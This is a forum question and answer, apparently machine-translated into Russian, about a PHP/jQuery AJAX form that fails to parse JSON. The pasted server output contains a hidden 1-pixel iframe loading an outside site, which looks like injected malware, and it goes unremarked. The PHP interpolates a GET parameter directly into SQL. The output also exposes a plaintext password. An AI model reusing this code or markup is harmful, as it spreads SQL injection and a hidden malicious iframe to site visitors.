Привет Iam new с php и ajax У меня есть поле выбора, которое, когда пользователь выбирает информацию, должно заполнять до четырех текстовых полей. Некоторые предлагают использовать jQuery мой первый код
в любом случае мой php-код
if(isset($_GET['username'])) { $username=$_GET['username']; $usr1=new USER; $where="username='$username'"; $a=$usr1->show($where); echo json_encode($a); }
и моя форма здесь
<form id="f1"> <select id="s1"> <option selected></option> <option value="admin" >admin</option> <option value="pooria.hojjati">pooria.hojjati</option> </select><br> <input type="text" id="name" value=""><br> <input type="text" id="family" value=""><br> <input type="text" id="email" value=""><br> <input type="text" id="pri" value=""><br> <!--<input type="button" value="press me" id="btn">--> </form> <div id="d"> un replaced </div> <script language="javascript"> $("#f1 select:#s1").change(function(){ var a=$("#f1 select:#s1").val(); $.ajax({ url:'ajax.php', data:{username:a}, type:'get', datatype:'json', success:function(res){ var b=JSON.parse(res); $("#f1 input:#name").val(b.name); $("#f1 input:#family").val(b.family); $("#f1 input:#email").val(b.email); $("#f1 input:#pri").val(b.privilege);} }) }); </script>
и у меня есть ошибка: SyntaxError: JSON.parse: неожиданный символ
И когда я предупреждаю ответ, я получаю следующее:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Untitled Document</title> </head> <body> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>user</title> </head> <body> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>DB</title> </head> <body> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> {"id":"1","name":"\u067e\u0648\u0631\u06cc\u0627","family":"\u062d\u062c\u062a\u06cc \u0628\u0633\u0637\u0627\u0645\u06cc","username":"pooria.hojjati","password":"12044525","email":"pooria.hojjati@gmail.com","privilege":"1"}</body> </html>
В jQuery селектор $("#f1 select:#s1")
является неправильным синтаксисом. Этот селектор должен быть $("#f1 select#s1")
. То же самое и для других селекторов. :foo
selectors – специальные селекторы jQuery типа :checked
:contains()
и т. д.
Вы используете фреймворк в своем php-коде, который создает html-макет? Попытайтесь обойти его. После вызова echo json_encode(...)
, вызовите exit;
, Это немедленно остановит выполнение и выведет буфер до сих пор.